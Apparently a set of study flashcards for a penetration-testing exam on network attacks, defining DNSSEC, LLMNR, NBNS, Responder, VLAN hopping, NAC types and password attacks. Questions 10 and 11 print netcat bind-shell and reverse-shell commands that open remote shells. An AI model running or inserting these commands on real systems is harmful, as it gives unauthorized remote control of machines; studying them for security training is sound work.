Section 9: Network Attacks

Question 1

How to prevent DNS Poisoning

Answer 1

Use DNSSEC
● DNS Security Extensions (DNSSEC)
o Uses digital signatures based on public-key cryptography
to ensure DNS data is digitally signed by the owner
o The zone owner and the resolvers need to configure their
DNS servers to support DNSSEC

Question 2

LLMNR

Answer 2

Based on the DNS packet formatting and allows both IPv4 and IPv6 hosts to perform name resolution on the host if they are on the same local link

Both hosts need to be on the same LAN to use this protocol, this is used in place of a DNS server.

This is only on windows

Question 3

NBNS

Answer 3

o NetBIOS Name Service (NBNS or NBT-NS)
▪ Part of the NetBIOS-over-TCP protocol suite that is used as a type of name resolution inside the internal network to translate internal names to IP addresses
▪ NBT-NS uses the host name of a system for its resolution
o By default, Windows machines will first attempt to use LLMNR and then attempt to use NBT-NS

Question 4

Tool: Responder

Answer 4

A command-line tool in Kali Linux that is used to poison NetBIOS, LLMNR, and mDNS name resolution requests

Question 5

VLAN Hopping Methods

Answer 5

Double Tagging
Switch Spoofing
MAC Table Overflow Attack

Question 6

Types of NAC Solutions

Answer 6

Persistent
● A piece of software installed on a device requesting access to the network

Non-persistent
● Requires the users to connect to the network and log in to a web-based captive portal to download an agent that scans their
devices for compliance

Agentless NAC/Volatile Agent
● Installs the scanning engine on the domain controller instead of
the endpoint device

Question 7

Rainbow Table

Answer 7

A precomputed hash value table that contains known passwords used for offline password cracking

Question 8

Password Spraying

Answer 8

Uses a dictionary of common passwords on multiple accounts to bypass authentication mechanisms

Question 9

Credential Stuffing

Answer 9

Tests stolen user account names and passwords against multiple
websites

Question 10

netcat command to set up bind shell (forward shell)

Answer 10

nc -l -p 443 -e cmd.exe
nc -lp 443 -e /bin/sh

Question 11

netcat command to set up reverse shell

Answer 11

Set Up Listener (attacker device)
● nc -l -p 443
▪ Connect to Listener (victim device)
● nc 10.1.0.2 443 -e cmd.exe